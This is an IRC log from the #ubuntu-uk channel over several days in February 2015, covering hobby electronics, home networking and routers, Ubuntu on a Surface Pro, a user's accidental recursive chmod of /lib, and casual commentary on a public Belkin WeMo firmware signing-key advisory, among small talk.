<popey> wonder if they'll reach their target
<foobarry> the e35k target?
<foobarry> thats doable, 350 people who think pitivi is worth 100E to them.?
<foobarry> would be nice to have a flagship video editor that is the "go to" one
<diddledan> ho hum
<diddledan> I guess I need some short wires to jury-rig this together
 * diddledan goes to maplin.co.uk
<daubers> diddledan: Time to get the wallet out if you're off to maplin
<bit> bitsnow
<diddledan> huh?
<diddledan> daubers: yeah, maplin is a moneypit
<shauno> well if you head there just because you're out of solidcore project wire, then .. bigtime
<ali1234> maplin is really expensive
<diddledan> is there "another way"?
<ali1234> http://www.rapidonline.com/
<ali1234> http://rswww.com/
<ali1234> http://farnell.com/
<ali1234> even if you don't hit the minimum order amount on those sites, they're still usually cheaper than maplin
<diddledan> ooh, intel galileo
<diddledan> see you shouldn't give me more to drool over!
<ali1234> i only go to maplin if i need it today and they have it in the shop
<diddledan> hmm, my computer seems to be not doing internet things
<diddledan> chrome is just "loading"
<diddledan> ergh, and firefox won't start
<diddledan> methinks this mac is dieing
<diddledan> it seems to be hanging on IO
<daftykins> diddledan: best put it down ;)
<shauno> (dying)
<daubers> diddledan: Even http://www.ebay.co.uk is better sometimes!
<neuro> new HDD time? :)
<neuro> or SSD \o/
<shauno> or even worse .. reboot?
<MrGrymReaper> Hello
<MrGrymReaper> Has anyone considered doing a LUG out Norwich way?
<shauno> http://www.alug.org.uk  seem to have their meetings in norwich
<ali1234> anyone got any strategies for finding memory corruption bugs? valgrind doesn't seem to be very good at it
<diddledan> grrs
<diddledan> interesting: http://nodered.org/
<shauno> I see a lot of buzzwords & a flat/bootstrap hybrid, so it must be good.  care to translate it into english?
<diddledan> this may help more: http://learn.adafruit.com/raspberry-pi-hosting-node-red
<shauno> it kinda doesn't.  they seem to keep throwing "internet of things" in there for kicks and giggles
<diddledan> second sentence :-)
<diddledan> keep reading! :-p
<shauno> the "internet of things" is every single device using a completely different markup/language, and each vendor breaking upnp in their own special way to even if you try to generalize it, you can't
<ali1234> so it's like https://ifttt.com/
<ali1234> except running on a raspberry pi?
<ali1234> (ifttt is a website that lets normal people do the type of things that you could do with a bash script in a about 5 minutes)
<diddledan> ali ifttt seems to be actions based on internet things. node-red is actions based on things. (note the lack of internet - they _can_ be internet but they needn't be)
<ali1234> ifttt doesn't have to be internet things
<diddledan> tabcomplete fail
<ali1234> there are modules to connect it to various hardware devices
<ali1234> you can make it turn your lights on and off when someone mentions you in a tweet and other stupid things like that
<diddledan> so, erm. how do they operate it as a service _and_ allow you to connect offline devices?
<ali1234> it doesn't work with offline devices
<shauno> ifttt is what lets anyone in the world turn my coffee machine on because belkin's security was cooked up by a preschooler ;)
<ali1234> they all have to be connected, obviously
<ali1234> nodered is basically your own private version of ifttt, that's what i mean
<diddledan> maybe. ifttt has a serious lack of information on what it can connect to
<diddledan> with nodered it can connect to _anything_ that you can code a connector for
<ali1234> well the same applies to ifttt
<ali1234> it works with this: http://www.belkin.com/uk/Products/home-automation/c/wemo-home-automation/
<ali1234> and many other things
<ali1234> like arduino: https://ifttt.com/recipes/135057-triggering-ifttt-from-arduino
<shauno> I'm curious to see if any fun hacks come for the wemo
<diddledan> that's more like it
<diddledan> or not
<diddledan> that's just smtp
<shauno> since they quite kindly decided to ship the private key & the passphrase for signing their firmware updates, it's kinda up to motivation/boredom now
<ali1234> really?
<shauno> not intentionally, but yup
<shauno> for some insane reason the firmware contains the private key instead of the public key
<ali1234> the one i saw had literally nothing in the box except for the hardware unit. even the instructions were printed on the inside of the lid
<ali1234> oh, it's in the device?
<ali1234> did they use a symmetric encryption to sign it?
<diddledan> they really should issue a new update that autoapplies which sets a new key
<shauno> it's all setup pki.  but they provided the wrong key
<ali1234> lol, belkin
<shauno> http://www.ioactive.com/news-events/IOActive_advisory_belkinwemo_2014.html
<diddledan> shauno: maybe "the bad people" should do random ghost houses
<shauno> The Belkin WeMo firmware images that are used to update the devices are signed with public key encryption to protect against unauthorised modifications. However, the signing key and password are leaked on the firmware that is already installed on the devices.
<ali1234> a ghost house?
<diddledan> ali1234: flickery lights and such
<diddledan> ali1234: maybe some ghostly wails if they have enough access
<shauno> what I find scarier are less visible attacks
<ali1234> but i just got a fixed rate mortgage!
<diddledan> i.e. someone installs a belkin thing that does audio should such a device exist
<shauno> the device can operate as a WAP; that's the state it ships in.  you connect to the AP it advertises and run the setup
<diddledan> shauno: oh god
<shauno> so with some firmware mutilation, it could quite easily run a wap+service to advertise your network credentials
<shauno> ie, that's a service that already exists on the device, and settings the device requires for its normal operation.  someone just needs to include one into the other, and turn the default service back on
<ali1234> you could totally do that whole ghost house thing to my brother (he's the wemo owner, he has all upnp devices too, and uses WEP even though i keep telling him to change it)
<shauno> I have a wemo on my coffee machine, because it takes so long to warm up that it's nice to be able to turn it on when I leave work
<ali1234> i built my own with el cheapo maplin sockets
<ali1234> and a AM radio module. i probably told you this before
<shauno> so the convential response to this 'attack' is "aha, I could boil your kettle dry"
<ali1234> my brother uses it for his lights, so you actually could make his lights flicker and play ghostly wails on his stereo
<neuro> KA-FLENNEN-ZBLORG-CHARN-GORFLAG!
<shauno> my lights are json over http, but a bit more annoying if you're not on my lan
<shauno> (if you are on my lan you can just ask philips for the rest.  they match by source IP, so anything originating from my NAT is allowed)
#ubuntu-uk 2015-02-16
<knightwise> yoyo
<Guest83501> morning all
<MooDoo> raa
<knightwise> mownin :)
<knightwise> how are you this fine monday ?
<MooDoo> tired
<knightwise> rough weekend ?
<MooDoo> weekend was fine, son was poorly and projectiled at 00:45 in the morning :(
<knightwise> ouch
<knightwise> not fun
<zmoylan-pi> to learn so young not to like mondays... hope he's recovering well
<knightwise> Going to try out Ubuntu on my Surface pro today for an entire day
<knightwise> see how it holds up
<knightwise> have to find out how to enable hibernate / suspend
<knightwise> still cant believe canonical dropped that functionality in Ubuntu
<zmoylan-pi> i have never in my life suspended or hibernated a laptop... willingly.  though i do think it should be available as an option for those as needs it
<brobostigon> morning boys and girls.
<knightwise> my wife hasnt rebooted her mac for 79 days. She just opens en closes the lid
<knightwise> and that is how its supposed to be I think$
<knightwise> morning brobostigon
<brobostigon> morning knightwise
<zmoylan-pi> works for some.  i wanted every last watt of battery life for usage so that ruled out suspend and with windows a clean boot cleared up /problems/ and on linux it was fast booting enough to make no difference
<knightwise> zmoylan-pi: agreed. i still need to get it working on this surface :)  Would be cool to be able to suspend resume instead of having to bootup
<knightwise> although bootup time is lightning fast
<davmor2> Morning all
<MooDoo> morning davmor2 how are you this fine day
<davmor2> It's Monday and I'm in meetings :)
<MooDoo> davmor2: shit then :D
<zmoylan-pi> wait wait, are donuts provided in the meeting...?
<JamesTait> Good morning all; happy Monday, and happy Innovation Day! :-D
<MooDoo> morning
<JamesTait> o/ MooDoo
<popey> zmoylan-pi: Doughnuts over video chat...
<zmoylan-pi> well then you can mute it and replace your image with a carefully crafted glove puppet :-)
<bigcalm> Good morning peeps :)
<MooDoo> howdy bigcalm
<knightwise> hey MooDoo , bigcalm
<bigcalm> o/
<intrbiz> morning
 * davmor2 quickly throws together an lego arm that high fives JamesTait and remotely slaps him a high five....How's that for innovation :D
<renato95> hi
<renato95> accidentally I wrote "$ sudo chmod -R 755 /lib"
<JamesTait> davmor2, like http://youtu.be/m3fmMM_1wBc ?
<renato95> have I corrupted the system?
<popey> renato95: you may find things are a bit broken, yes
<renato95> fuck...
<davmor2> JamesTait: no I type !slap JamesTait and it does if you're quick enough it only hits your hand and all of it is lego :D
<renato95> but in the folder's property nothing is changed
<popey> renato95: well, some things in that folder are already 755, but something else may not be. you might be okay.
<renato95> how do i past images?
<renato95> *post
<popey> ...
<renato95> https://www.filepicker.io/api/file/OKmmyiTIS7aVNZQQ2GY6
<renato95> here you can see the properties
<renato95> of the folder
<davmor2> renato95: yeah but that is the properties of the folder after you changed it
<renato95> yes
<renato95> but all the other folders look the same
 * SuperMatt wonders if renato is the renato that he knows, or if it's just a popular name
<renato95> "SuperMatt wonders if renato is the renato that he knows, or if it's just a popular name"?? hahah!!
<SuperMatt> well I don't know!
<renato95> * -
<knightwise> hmmm
<knightwise> mondays
<knightwise> wish it had a "next" or "skip" button
<zmoylan-pi> over dose on donuts and wake up on tuesday...
<davmor2> knightwise: but then tuesday becomes the new Monday
<zmoylan-pi> tuesday becomes the day you wake up in a strange town wondering how you got there so you'll be busy and distracted
<knightwise> true.
<knightwise> Stupid kickstand on the Surface pro 1 .. only has one setting and the angle is not ideal
<knightwise> Need to look for an alternative somewhere
<knightwise> for the rest : Fantastic machine to run ubunt on
<popey> yeah, they fixed that in the surface pro 2 I believe
<knightwise> true
<zmoylan-pi> microsoft often get so much right and then skimp on the little things that drive you bonkers. i think the stand was sorted in pro 2
<knightwise> for the moment i'm using a tablet mount to get it sorted
<knightwise> zmoylan-pi: agreed. for the rest .. the screen is fantastic
<knightwise> samsung could learn something from this display
<zmoylan-pi> no expense was spared in the screen by all accounts
<knightwise> love the resolution. I think the only machine that can top this at the moment is the nex XPS13
<knightwise> just need to iron out some quirks
<davmor2> popey: I hate you, by the way, crossy road 250 jumps, Machines vs machines hard level 3, uu level 42 can you guess how I spent my weekend
<davmor2> popey: uu gets too monotonous is my only complaint
<popey> haha
<bigcalm> !rat
<lubotu3> rat is The Real Ale Train. A yearly Ubuntu UK loco event to celebrate friends, trains and ale. Saturday 19th September 2015 Hampshire, UK: http://loco.ubuntu.com/events/ubuntu-uk/3040-real-ale-train-2015/
 * bigcalm sneaks back to work
<davmor2> bigcalm: big hint it's not very sneaky to announce it ;)
<davmor2> bigcalm, intrbiz: anyone else want to write pole on the end of adam's wolveslist email?
<intrbiz> davmor2: very good, took me a while to work that one out
<diddledan> o_O
<davmor2> diddledan: mailing list role call for the lug meeting we got a. ron m. bigcalm t. Ad z. intrbiz
<diddledan> really? apparently iphone users will discriminate against people that send them a message which appears as a "green bubble" instead of a "blue bubble" (blue means it's an imessage, green means it's sms)
<diddledan> ref: https://medium.com/message/its-kind-of-cheesy-being-green-2c72cc9e5eda
<zmoylan-pi> well about 10% of irish males have some blue-green colour blindness :-)
<davmor2> zmoylan-pi: so they are there all wondering why they keep getting sms about enlarging the privates and emails from phone numbers then :)
<SuperEngineer> Anyone know about the requirements of in-car audio players [SD card slot]?
<SuperEngineer> What format required? Can they read fat32? will they recurse directories? etc.
<davmor2> SuperEngineer: manual should tell you, on the whole they will by default read whatever an sdcard is formatted in by default normally fat32, and on the whole will play mp3's that it finds on the card, what format is displayed is anyones guess
<SuperEngineer> cheers, davmor2
 * SuperEngineer copies podcasts to sd card ;0
<SuperEngineer> [I would go to the car & fetch the manual - if it wasn't p'ing down atm - so here's hoping ;)
<qwerty> I'm using ubuntu, one hour ago I wrote on the command line "sudo chmod -R 755 /lib"... If I reboot my computer do I have some error?
<Guest49464> I'm using ubuntu, one hour ago I wrote on the command line "sudo chmod -R 755 /lib"... If I reboot my computer do I have some error?
<shauno> I realise it's bad form to answer a question with a question.  But why did you do that?
<MartijnVdS> (subtle shauno)
<shauno> well, I mean I assume there's an underlying problem that he's trying to solve here
<Guest49464> answer my question please
<Guest49464> will I have some issue?
<shauno> luckily /lib is one of the safest places to make such an oops.  there's no bin, no libexec, so nothing that's suid, very little magic in there
<Guest49464> and so?
<Guest49464> i ensure me that i will not have problems?
<MartijnVdS> shauno: some binaries are in there
<MartijnVdS> shauno: for udev etc
<MartijnVdS> Guest49464: it's hard to be sure
<Guest49464> so?
<Guest49464> will I have issues?
<Guest49464> because i don't know if i can shudown my computer this night
<Guest49464> i have an exam in few days and i have to use this computer
<MartijnVdS> Guest49464: It is hard to say. There might be problems, there might not be
<popey> nobody can say for sure.
<popey> so, backup & re-install is the "best" option.
<Guest49464> is there a way to undo the command?
<MartijnVdS> restore from a previous backup
<popey> yes, restore from backup
<Guest49464> i have no backups
<Guest49464> is there a command i can type?
<popey> no
<Guest49464> what's the permission of that folder
<Guest49464> by default?
<popey> its not the folder, its all the files
<shauno> the problem is that it's not "that folder" you've changed".  -R changes every single file and folder within it.  that's just over 10,000 files on mine.
<popey> you're _probably_ going to be okay
<shauno> I suspect at the most you'll break ufw.  but if you have no backups, make some ASAP, else you're tempting murphy
<Guest49464> damn
<Guest49464> what's ufw?
<Guest49464> what's asap?
<popey> As Soon As Possible
<popey> Uncomplicated FireWall
<shauno> (entirely aside, I have no idea why ufw stores its rules in /lib.  that seems wrong)
<Guest49464> so it's better i do not shutdown the computer
<Guest49464> because i'm afraid i've corrupted something
<shauno> honestly, I think your first job should be to backup anything that you'd miss.  if you rebooted right now and it didn't come back, what files would you worry about
<shauno> (not that they'd be gone, but you'd be in a much better position to rebuild)
<Guest49464> yeah, now listen
<Guest49464> suppose i deleted evry single file of the system
<Guest49464> suppose that
<Guest49464> now, my computer starts with dual boot with windows
<Guest49464> if I made a crap... forget what i said before and consider my case
<Guest49464> if I maed something wrong
<Guest49464> can i work with windows?
<popey> I dont understand.
<Guest49464> i have dual boot
<Guest49464> considering that i could have some issue while booting
<popey> what you have done wont have affected windows
<Guest49464> so i could use windows
<Guest49464> eccelent
<Guest49464> are you sure?
<popey> yes.
<popey> No guarantee you'll be able to get back into Ubuntu though.
<popey> But you should be fine.
<mapp> evening
<mapp> hmm someone accessed my friends betfair account snd placed a Â£500 bet it won..but still how did someone do it? Only thing i could hink of was malware/spyware on his pc or android phone?
<mapp> said it was placed from a virgin media IP in haringey but that could just be a compromised home machine
<zmoylan-pi> contact them and place a hold on it's payout?
<mapp> the account hasnt logged in again or tried to
<mapp> and my mate changed pass
<mapp> but how could someone havew got access to his ac in the first place beyond the ways i mentioned?
<mapp> and is there any way i can check if the IP the login came from is a compromised host?
<shauno> man, apt-get upgrade on an old pi makes me realise just how much zippier the new one is
<zmoylan-pi> pi envy? :-)
<shauno> just kinda wish I'd got more than one :)
<zmoylan-pi> there's an idea... a vending machine in london tube stations selling pis to bored geek commuters... :-)
<zmoylan-pi> impulse pis
<shauno> eh.  by time it made it to galway, we'd have flying cars
<zmoylan-pi> well with the humpback bridges on that side of the country i'm not sure we don't already :-)
 * daftykins clocks in
<daftykins> hi all
 * zmoylan-pi breaks out the banjo and the lyrics for the klingon opera for the night shift...
<daftykins> :)
<shauno> a bit random, but it's surprisingly difficult to find plain-text version of the shipping forecast
<daftykins> 0o
<zmoylan-pi> page scraping from low bandwidth bbc page?
<shauno> eh, if I'm gonna scrape I might as well just manhandle the met office's xml
<daftykins> D:
<shauno> I Did actually find it on a US server, which seems odd
#ubuntu-uk 2015-02-17
<daftykins> i just turned 30, chaps
<daftykins> :(
<shauno> :(
 * daftykins is scared
<shauno> well, you should be.  the best years of your life are officially over, and it's all downhill until bedpans from here
<daftykins> \o/
<daftykins> never was a truer word spoken
<shauno> the trick from here, is to quit thinking about it
<shauno> when I realised that people leaving school, weren't born when I left school, I felt old.
<daftykins> i see, imagine i don't know, eh?
<shauno> just never do the  math and you'll be fine :)
<zmoylan-pi> or do it in base 16...
<daftykins> time for more beer methinks
<shauno> that sounds a lot like my 30th :)
<popey> \o/ beer
<daftykins> :D
<daftykins> a local mate shares my birthday so i'm relying on his surprise event on Saturday for more of an effort really ;)
<mapp> major crimes is so good:D
<mapp> did u ever try pidora zmoylan-pi?
<zmoylan-pi> i'm happy with raspian at the mo.
<zmoylan-pi> might play with a few other oses when i finally get a pi 2.  but i need a hdmi monitor first
<daftykins> zmoylan-pi: VGA only in your parts?
<zmoylan-pi> they've worked till now.  had to connect my current pi to scart to set it up.  now connect via ssh or vnc
<mapp> ah ok
<mapp> i just use mine with tv
<mapp> im ordering a pi2..but have to get it sent to spain lol
<mapp> cant order anything to gibraltar :(
<daftykins> weird :S
<zmoylan-pi> it's one of those 'parts of the uk' right until you want something delivered there
<daftykins> same drama as here
<daftykins> hmm i wonder if amazon UK crawled back to life yet
<zmoylan-pi> see northern ireland
<zmoylan-pi> is there a parcelmotel service that would do the delivery end of things?
<mapp> i managed to order 1 cable off amazon but laptop..rasperry pi all said no
<mapp> even protein lol myprotein.co.uk wanted 60quid for delovery O_o
<zmoylan-pi> worst delivery story goes to a guy i worked with.  he wanted to buy a dvd when dvds were new and shiny.
<daftykins> well if love is involved too...
<daftykins> zmoylan-pi: ooh do tell :D
<zmoylan-pi> he's a batman fan and they announced a special batman animated dvd. it was never going to be shown unedited on tv.  he had to have it
<zmoylan-pi> so he waited till it was released and they announced it was only region 1.  so no dvds for europe
<zmoylan-pi> so he organised with family members in usa to send it to him when he had it delivered to there place.
<daftykins> this was prior to DVD Jon presumably? :>
<zmoylan-pi> then they wouldn't let a european order a usa dvd for reasons we could never quite work out
<daftykins> the whole of space-time will collapse!
<zmoylan-pi> he was prepared, when he bought a dvd player he bought a region free dvd player
<zmoylan-pi> so he sent money to usa relatives and they ordered it and posted it to him.
<zmoylan-pi> drove him bonkers every step...
<mapp> dvd john?:)
<mapp> lol hassle zmoylan-pi :)
<zmoylan-pi> and then 2 days before it arrived someone broke into his house and stole his tv and dvd player
<zmoylan-pi> so he had a dvd in his hands and no way to view it.  laptops were only just beginning to ship with dvd drives.
<daftykins> mapp: teenager that cracked the DVD encryption, ja
<daftykins> at least he was a teen at the time, 13-15 iirc
<zmoylan-pi> only machine in the office with dvd belonged to boss.  and refused to play region 1.
<daftykins> zmoylan-pi: lmao
<daftykins> that is one impressive tale
<zmoylan-pi> took me an hour to flip it to region 1 in firmware but i thought he was going to lose it at that point :-)
<mapp> whle thing wouldve driven me mad
<mapp> the shipping hassle and sods law of being burgled
<zmoylan-pi> he had gone out of his way when getting a dvd player to make sure it was region free as he knew he'd end up with 1-2 dvds from usa.  wasn't easy back then.
<daftykins> :>
<daftykins> and now you can just rip fine
<mapp> yea
<daftykins> although de-interlacing NTSC DVDs is a tad tedious
<zmoylan-pi> so now he just torrents everything.  he'll try and buy it but once he hits any little bumps he remembers the batman dvd and nearly popping an artery trying to get it and watch it
<daftykins> 8)
<mapp> hm that film wasnt bad
<mapp> no good deed with idris elba
<mapp> hm#
<mapp> almost bed time
<knightwise> Yawn
<knightwise> time to get up
<zmoylan-pi> fight those urges
<knightwise> morning peeps
<MooDoo> morning
<knightwise> hey MooDoo
<knightwise> how are you doing today !
<knightwise> :)
 * knightwise figured out why the wifi was a tad slow on his surface pro 
<MooDoo> knightwise: yeah I'm ok thanks
<knightwise> hmm... 128 gig of storage is kinda on the small side
<knightwise> I had this great 64 gig Micro SD card I could have popped in .. but I lost it somewhere :(:(
<knightwise> MooDoo: what machine are you currently working on btw ?
<SuperMatt> morning all
<knightwise> hey SuperMatt
<JamesTait> Good morning all; happy Pancake Day! :-D
<MooDoo> morning
<knightwise> hey JamesTait
<popey> \o/ Pancakes
<popey> I may have to go and make some
<MartijnVdS>  sounds like a good idea
<popey> i should make a huge batch and save them for later.
<JamesTait> knightwise, o/
<knightwise> hey popey
<knightwise> popey: you should make a batch and share them with us
<knightwise> morning MartijnVdS b
<popey> heh
<popey> good luck with that
<MartijnVdS> I could probably use some of my brothers' beer to make them
<popey> mmmm beer
<MooDoo> someone say beer?
<MooDoo> just cleaned out my barrels and mashing bucket for my first batch of the year
<davmor2> hmmmmmm pancakes
<popey> right, screw it, I'm off to make pancakes
<MartijnVdS> have fun!
<knightwise> damn
<knightwise> popey made me hungry
<Laney> pancakes & pub quiz later on \o/
<popey> \o/ made some
<popey> stored for the kids for later
<brobostigon> morning boys and girls.
<knightwise> Yo brobostigon !
<popey> yo
<brobostigon> morning knightwise and popey
<diplo> MooDoo, like your url ( rubbishhosting ) :)
<davmor2> popey: and you are the biggest kid right so you'll eat them alllllll muhahahahahaha
<MooDoo> diplo: yeah it's just me playing about lol
<davmor2> and then have to make some more obviously :)
<diplo> Where do you host the servers ? At work ?
<MooDoo> diplo: shhhhh garage ;)
<diplo> How do you get around mail etc on a dsl/cable line ?
<MooDoo> diplo: 15 sites doesn't generate much traffic, so it's been ok so far :D
<davmor2> MooDoo: is a Shhhhhhh garage just a lie,  I'd of thought hmmmmmmmmmmm garage would of been closer with all those fans spinning
<MooDoo> it's only 3 servers, one nas and a desktop
<davmor2> MooDoo: that's a lot of spinny things then :P
<MooDoo> dries your hair if you've just been in the shower ;)
<MooDoo> diplo: it's not ideal, but it works for me at the moment
<MartijnVdS> I need to fix my new router to make less fan noises
<popey> davmor2: managed to resist, had two, and saved 6 for the kids.
<diplo> It was to the point that a lot of isp's block stuff now adays for hosting stuff at home
<popey> https://www.etsy.com/shop/RabbitEngineering?section_id=16362079&ref=shopsection_leftnav_1
<popey> SO CUTE!
<MooDoo> diplo: i've been doing it ages and not been penalised yet, I think they are ok with home hosting, just not if i'm maxing the connection constantly
<diplo> ah right, well my line is to rubbish to host anything on, go with a digital ocean droplet for a few quid a month :)
<MartijnVdS> MooDoo: I have one of these at home: http://routerboard.com/RB1100AHx2 (overkillÂ³)
<davmor2> diplo: on virgin it's fine as long as you use standard ports it's in the t's and c's
<MartijnVdS> MooDoo: they don't care about hosting stuff at home here -- they can't really complain when selling 500/500 ;)
<diplo> I'm debating going back to Virgin
<popey> I have run stuff at home on virgin for _years_
<popey> never been a problem
<MooDoo> MartijnVdS: nice though, i'm just using 2 x 8 port switches
<MooDoo> MartijnVdS: so I can have one nic on one switch and the other nic on the other switch :D
<MartijnVdS> MooDoo: this one should be able to do 1.5 gigabits of ipsec.. apparently
<MartijnVdS> MooDoo: (so en/decrypting)
<MartijnVdS> so a little 500/500 home routing is peanuts
<czajkowski> RAT tickets booked :D
<popey> \o/
<diplo> MooDoo, what do you do about fixed ip, taking it virgin still don't offer that?
<popey> dynamic dns
<popey> popey.mooo.com points to my home
<popey> afraid.org do dynamic dyns
<diplo> Yeah I've used them before, I guess if you pay for the solution you can sort mail records etc
<popey> i wouldn't do mail at home
<MooDoo> diplo: no static, I just use no-ip but it hasn't changed in awhile
<MooDoo> i use afraid.org as well
<diplo> yeah I remember mine used to change once every 9 months or so, or if we had a powercut
<davmor2> diplo: http://store.virginmedia.com/the-legal-stuff/acceptable-use-policy.html section 7
<davmor2> diplo: +1 on no-ip
<diplo> yeah I already use dynamic, just wondering what VM were like now adays, been a few years for me
<diplo> One of the biggest issues I had was when torrenting ( legitimately or not ) it used to kill the line
<diplo> Whats the like now ?
<davmor2> diplo: as long as you turn superhub to modem only mode it just works
<diplo> Cool, well they keep spamming me with letters of offers so I guess I may take them up on it
<popey> yeah, superhub in modem only mode and add a router in front of it = win
<bigcalm> Good morning peeps :)
<awilkins> You do have a pick a router that can route WAN -> LAN at a high enough speed
<awilkins> For dynamic DNS I use duckdns these days
<awilkins> You can set up a client to refresh it really simply with curl or wget
<awilkins> Although my IP hardly ever changes, as above
<intrbiz> bigcalm: morning
<diplo> I've got a Draytek 2830 that does Cable or DSL, probably stay with that for now
<intrbiz> we have a Draytek in the office, horride device
<awilkins> I went for an ASUS RT-N16 because it's relatively modern, routes fast enough for 100Mbit/s, and is well supported by OpenWRT
<intrbiz> I use an old mini-itx board at home, PPPoE for the ADSL line and a ton of OpenVPN clients
<diplo> I used to use a mini-itx till it died
<diplo> What don't you like about the Drayteks ? We use them all over
<diplo> Only reason I have the draytek is that it was sat in my office doing nothing, had the original Sagem horrible thing at home before
<intrbiz> diplo: overpriced, awful (I mean truely terrible) web interface are the two main reasons
<diplo> I'd agree with overpriced, although we never have issues with them. Rock solid up time etc
<diplo> Web interface I guess I've got used to now :/
<knightwise> I was wondering if its possible to put a standard router you buy in the shop into 'real' router mode
<knightwise> hence to link up 2 subnets WITHOUT the nat translaion
<knightwise> Thing is , i'm currently trying to seperate the networks from my own company and the one for my geeky projects
<MartijnVdS> knightwise: routerboard.com ;)
<MartijnVdS> knightwise: also VLANs
<MartijnVdS> (consumer routers can do VLANs, but not with stock firmware, at least not easily; openwrt can do it, but it's also a hassle; RouterOS/Routerboard stuff just has it built in, clicky clicky)
<knightwise> hm :) I have the ac66ru from Asus
<knightwise> It supports vlans i think
<MartijnVdS> knightwise: I have this at home http://routerboard.com/RB1100AHx2 (way overpowered), but for most home use scenarios, RB750GL would be more than enough.
<MartijnVdS> Or one of the RB2011 series
<knightwise> Cool beans
<MartijnVdS> knightwise: they also have managed/manageable 5-port gigabit switches for the same price as expensive non-managed ones in stores
<knightwise> True. but even if I have 2 vlans I need to have some routing inbetweeen
<MartijnVdS> knightwise: http://routerboard.com/RB750GL
<knightwise> mmmm :) Coolz
<MartijnVdS> knightwise: you can try the OS in a VM -- they offer CD install images for download (24 hour trial)
<knightwise> That wouldn't be a bad idea actually . I could run a vm router on my home server , pop in a second network card and hook that up to the 2nd subnet
<brobostigon> mikrotik.com
<MartijnVdS> knightwise: with vlans, you don't need the second card. it's all tagged traffic on the same cable
<MartijnVdS> brobostigon: exactly -- it has CD installer images to download (for a "router" VM)
<brobostigon> yes.
<MartijnVdS> I'm using these devices for wifi deployments at small companies too now
<MartijnVdS> ("waiting room wifi")
<knightwise> as a vm ?
<MartijnVdS> knightwise: no for the wireless networks I deploy actual devices they offer
<MartijnVdS> knightwise: but on mikrotik.com you can download x86 CD images that you can use to install a virtual machine with their RouterOS
<MartijnVdS> (and it'll be a trial that works for 24 hours; if you like it you can buy a license or some dedicated hardware)
<knightwise> and then assign to virtual network cards to it
<MartijnVdS> knightwise: yeah you could do that. Create VLAN interfaces on the host, create several virtual NICs on the guest, and use those. Or give one virtual NIC, bridged with your real NIC to the guest, and have it do the VLAN stuff itself
<MartijnVdS> (otherwise you'd get vlan-in-vlan if you created VLANs inside the VM; that's usually not what you ant)
<MartijnVdS> +w
<knightwise> :) making it a little too complex for a home network here  :)
<shauno> I think that's just the scenario if you try to use a VM as a router.  if you buy a box it looks totally normal
 * zmoylan-pi looks at my wifi ap connected to my landlords ap for free internet...
<knightwise> Yaaaawn
<knightwise> afternoon fatige
 * brobostigon drafts a coffee/tcp protocol.
<zmoylan-pi> ping times increase with repeated usage?
<brobostigon> ping times increase in cold weather, as it takes longer to heat water.
<zmoylan-pi> and an 'out of coffee' error would see the system going slower and slower before stopping completely
<brobostigon> yep.
<knightwise> hmmm
<knightwise> i assume program manager in the US is a timelord
<knightwise> she obviously has not comprehension of linear time
<zmoylan-pi> could be a prophet from the wormhole...
<knightwise> zmoylan-pi: Ive never seen her before
<knightwise> she could be non-coporial
<davmor2> Currently loving the Mars one up dogs advert
<diddledan> ello folks
<davmor2> diddledan: o/
<Laney> someone just showed me a taylor swift song
<Laney> quite liking it to be quite honest with you
<knightwise> we weep for you
 * MooDoo slaps laney
<MooDoo> "this sick beat"   omg i've just breached copyright
 * knightwise runs around screaming 'the end of the world'
<Laney> https://www.youtube.com/watch?v=nfWlot6h_JM
<Laney> give it a chance
<MooDoo> no
<MooDoo> it's crap
<Laney> nope!
<MooDoo> sorry did i just say that out loud
<MooDoo> someone mentions taylor swift and my instant reaction is CRAP! lol ooops
<knightwise> Laney: its not bad considering most forms of crap that passes for pop music these days
<diddledan> Laney, thank goodness it's not more gangsta turd :-p
<knightwise>  diddledan I agree.
<knightwise> it might be my age showing but pop music doesn't seem to do it for me these days
<diddledan> knightwise, gangsta really gets my goat riled
<Laney> haha
<Laney> good job you get to like what you want eh
<knightwise> whenever the words 'Club , homeys, hood, gansta, money, nigga, cops or my personal favorite "booty" are part of the lyrics .. i'm out !
<daftykins> afternoonings
<diddledan> knightwise, and "pop a cap"
<diddledan> allo daftykins
<daftykins> that'd be the popcap games right out, then
<davmor2> Laney: No I'm MooDoo the worst of the 80's/90's/00's music wasn't that awful
<daftykins> happy 30th to daftykins \o/
<knightwise> daftykins: congrats ! you are 10 years my junior :p
<daftykins> ^_^ thanks
<daftykins> it feels... nasty.
<popey> Laney: i love that sony :)
<popey> *song
<Laney> yeah whatever, go write something off because it's popular
<daftykins> not being your junior, but being 30 :D
<Laney> popey: the video is great too
<popey> yes
<popey> Sophie did a dance to that in the panto this year
<popey> made it stick in my head
<diddledan> daftykins, happy "yet another day"
<davmor2> daftykins: hippo birdy
<daftykins> hippos! \o/
<popey> I'd not seen that video before, it's excellent fun.
 * popey adds to special list.
<daftykins> i love that i don't even know who that girl is
<davmor2> popey, Laney: I think there are much better earworms than that
<daftykins> watched a bit, but nah - off
<popey> well, you do know who it is
<popey> because Laney explicitly said Taylor Swift
<daftykins> you know what i mean :P
<popey> i properly don't
<daftykins> prior to clicking i couldn't have pointed her out in a crowd
<popey> davmor2: come up with one that is from the last 10 years and not your 1000 hits of the 80s cds :)
<popey> me either.
 * daftykins tucks into his Boots triple-pack sandwich and coffee
<popey> don't see that it's remarkable though
<popey> although I follow her on twitter
<popey> https://twitter.com/swiftonsecurity
<popey> so her face stares out of the screen at me now and then
<daftykins> there seems to be a bit of fuss about her in another channel today, but i really can't say i see it
<daftykins> ho-hum, not a topic for this channel anywho :)
<awilkins> Mmn, eggy in the basket
<Laney> just wanted to share a recent in my humble opinion pretty good pop tune
<Laney> next time i'll redress the balance with some gregorian chants
<davmor2> popey: 2013 https://www.youtube.com/watch?v=8mGBaXPlri8  https://www.youtube.com/watch?v=JRMOMjCoR58 https://www.youtube.com/watch?v=CevxZvSJLk8 https://www.youtube.com/watch?v=vaAVByGaON0  do you want more? I have lots
<popey> oh dear http://english.alarabiya.net/en/variety/2015/02/16/Saudi-cleric-Sun-revolves-around-stationary-Earth.html
<popey> haha, good call davmor2
<popey> not heard tatu for a long while
<Laney> https://www.youtube.com/watch?v=VcDy8HEg1QY 1994
<diddledan> tatu? they're fun!
<davmor2> popey: there is all about us by tatu too
<davmor2> popey: were they new enough?
<popey> :)
<popey> lulz Laney
<daftykins> i've decided i quite like the spam email someone forwarded to me, asking why they couldn't block it. it doesn't have a 'from' address :)
<Laney> this song reminds me of the big breakfast
<Laney> not sure why
<popey> i used to love the big breakfast
<popey> would set my alarm for 10 to 7, switch on tv in bed and watch it for 2 hours then go to work
<Laney> zig and zag from the planet zog
<popey> ya
